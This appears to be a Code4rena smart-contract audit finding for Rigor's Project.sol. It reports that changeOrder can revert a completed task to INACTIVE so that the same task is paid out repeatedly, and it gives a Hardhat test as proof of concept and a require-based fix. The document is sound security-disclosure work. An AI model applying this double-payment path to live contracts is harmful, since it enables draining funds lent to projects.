It should never be possible to change the status of a completed task

[code423n4]

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L330-L359
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L705-L713
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L386-L490
https://github.com/code-423n4/2022-08-rigor/blob/main/test/utils/projectTests.ts#L1110

Vulnerability details

High Risk Finding

Impact

In Project.sol, once a task is set as completed (by calling function setComplete), the contract pays the subcontractor. Once in this state, in should not be possible to change the task state back to ACTIVE/INACTIVE, because then the same task could be set as completed again and payed out multiple times. Furthermore, function projectCost would not return the real cost, because it loops through all tasks of a project adding up the cost of each task, but the real cost of a completed task payed out multiple times would be the cost of the task times the number of times it has been set as completed.

A call to function changeOrder can unapprove a completed task just by passing a _newCost greater than _taskCost and provided that (totalLent - _totalAllocated < _newCost - _taskCost) holds. It can also be unapproved by passing in a new subcontractor to changeOrder.

It could be possible for a malicious contractor and subcontractor to (almost) drain the total lent to the project by setting as complete, changing order to unnaprove task, then setting again as complete, multiple times.

Proof of Concept

I added a new test in file projectTests.ts, substituting test 'should be able to complete a task' with the following test:

it('should be able to changeOrder after complete a task and new state should be INACTIVE', async () => {
    const taskID = 1;
    const _taskCost = 2 * taskCost;
    const taskSC = signers[3];
    const data = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    const [encodedData, signature] = await multisig(data, [
      signers[0],
      signers[1],
      taskSC,
    ]);
    await mockDAIContract.mock.transfer
      .withArgs(taskSC.address, _taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), _taskCost / 1e3)
      .returns(true);
    const tx = await project.setComplete(encodedData, signature);
    tx.wait();

    const taskDetails = await project.getTask(taskID);
    expect(taskDetails.state).to.equal(3);

    const { subcontractor, cost } = await project.getTask(taskID);

    expect(subcontractor).to.equal(taskSC.address);

    const newCost = taskCost * 100;
    const newSC = subcontractor;
    const projectAddress = project.address;
    const data2 = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, newSC, newCost, projectAddress],
    };
    const [encodedData2, signature2] = await multisig(data2, [
      signers[0],
      signers[1],
      taskSC,
    ]);

    const tx2 = await project.changeOrder(encodedData2, signature2);
    tx2.wait();

    const { state } = await project.getTask(taskID);

    expect(state).to.equal(3);
    
});

It first sets as complete a task, and then it call changeOrder with a greater cost and same subcontractor.
The test fails, because it expects the task state to be 3 (COMPLETE), but it is 1 (INACTIVE) instead.

Tools Used

Hardhat

Recommended Mitigation Steps

There are various things that can be done to mitigate this issue, but I would:

1. Put a require at the beginning of function changeOrder to ensure the task is not already completed: require(tasks[_taskID].state != TaskStatus.Complete, "Task already completed"). A Completed task should not be changed ever.

[0xA5DF]

Subset of #95 (not reusing signature, requires contractor to be an accomplice)

[jack-the-pug]

Duplicate of #95